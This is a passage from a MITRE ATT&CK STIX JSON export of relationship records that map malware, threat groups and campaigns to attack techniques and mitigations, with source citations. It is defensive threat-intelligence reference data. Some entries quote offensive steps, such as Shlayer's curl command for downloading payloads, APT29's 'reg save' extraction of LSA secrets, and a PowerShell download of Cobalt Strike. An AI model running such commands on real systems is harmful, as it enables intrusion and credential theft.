2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.760Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.318Z","description":"(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd5bc949-6b6b-4511-87f7-3a439a4681da","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.936Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd5fd2c2-a9a3-401e-8723-92df94f9c482","type":"relationship","created":"2021-10-11T17:54:11.520Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T17:54:11.520Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used the ShellExecuteW() function call.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd60f2fb-ed88-424b-a394-6a23e1d8d8a9","created":"2024-09-16T09:27:55.606Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:27:55.606Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) involved the use of DLL search order hijacking to execute [DUSTTRAP](https://attack.mitre.org/software/S1159).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd610e42-b791-4322-8451-5fab556b6c28","created":"2022-09-23T12:59:51.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T13:00:26.955Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can parse collected files to identify specific file extensions.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd62c9fa-b1d4-4fb9-a892-99703e1f794d","type":"relationship","created":"2019-01-30T17:48:35.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.283Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can obtain the name of the logged-in user on the victim.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd648f03-7313-4e05-bd6e-b499f76a295c","type":"relationship","created":"2019-08-26T15:27:13.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"modified":"2019-08-27T15:32:50.477Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used Win7Elevate to inject malicious code into explorer.exe.(Citation: Securelist Kimsuky Sept 2013)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd651c13-04c8-4bff-9e68-b53b5f662510","type":"relationship","created":"2022-03-26T03:47:58.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.947Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports scripting of file downloads from agents.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd6e2eb9-a024-446f-bf9e-46c7ce4d8919","type":"relationship","created":"2020-10-19T23:54:29.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:23.156Z","description":"Segregate SNMP traffic on a separate management network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd716844-74b1-4929-882f-5d85fcd2e836","type":"relationship","created":"2020-03-09T15:04:32.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T15:04:32.850Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd745d11-93d8-45db-8a68-08a52383375a","created":"2017-05-31T21:33:27.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"McAfee GhostSecret","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T14:51:23.588Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware can use a common function to identify target files by their extension, and some also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"}],"modified":"2019-08-16T18:52:50.632Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) uses a backup communication method with an HTTP beacon.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bd785740-2234-4bc8-90b9-1d8b1e7f557b","created":"2022-06-10T16:30:12.609Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used DCSync attacks to gather credentials for privilege escalation routines.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T16:30:12.609Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has used RDP connections to move across the victim network.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)","modified":"2022-07-20T20:07:40.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd79d063-3407-4da9-b6d1-6170a3b9edfc","created":"2021-10-16T20:44:20.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"objectivesee osx.shlayer apple approved 2020","description":"Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.","url":"https://objective-see.com/blog/blog_0x4E.html"},{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.499Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can download payloads, and extract bytes from files. [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the curl -fsL \"$url\" >$tmp_path command to download malicious payloads into a temporary directory.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: objectivesee osx.shlayer apple approved 2020)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd7dce44-be74-4d8e-b9e4-efcd77b8a29b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:43:39.461Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) saves itself with a leading \".\" to make it a hidden file.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd82a68a-af53-45c7-ac0e-d8cdac989080","type":"relationship","created":"2020-10-20T15:47:55.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:01:48.880Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:44:50.995Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used Putty to access compromised systems.(Citation: Unit42 OilRig Playbook 2023)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd8a36f5-1da5-49de-b292-ac0e4a58340c","created":"2020-09-22T19:21:20.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.428Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used legitimate credentials to login to an external VPN, Citrix, SSH, and other remote services.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.638Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about the logged on user both locally and for Remote Desktop sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd8fec61-37c8-489b-a74b-424ff85222ad","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.188Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) modifies the Registry to store an encoded configuration file in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Security.(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd95ad97-90ed-4d48-bd50-a4ac234d63ad","created":"2024-02-08T15:27:30.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-19T13:24:36.876Z","description":"[NGLite](https://attack.mitre.org/software/S1106) has abused NKN infrastructure for its C2 communication.(Citation: NGLite Trojan)","relationship_type":"uses","source_ref":"malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd9a6be1-903f-4a7b-a143-8c8d1da6cabc","created":"2023-08-17T19:19:40.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:21:57.369Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used the `reg save` command to extract LSA secrets offline.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bda0ff4f-ed93-4d84-bfa4-dd39abe9fd62","created":"2022-08-09T16:47:14.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022.","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike"},{"source_name":"Netskope Squirrelwaffle Oct 2021","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022.","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:02:34.924Z","description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been obfuscated with a XOR-based algorithm.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope 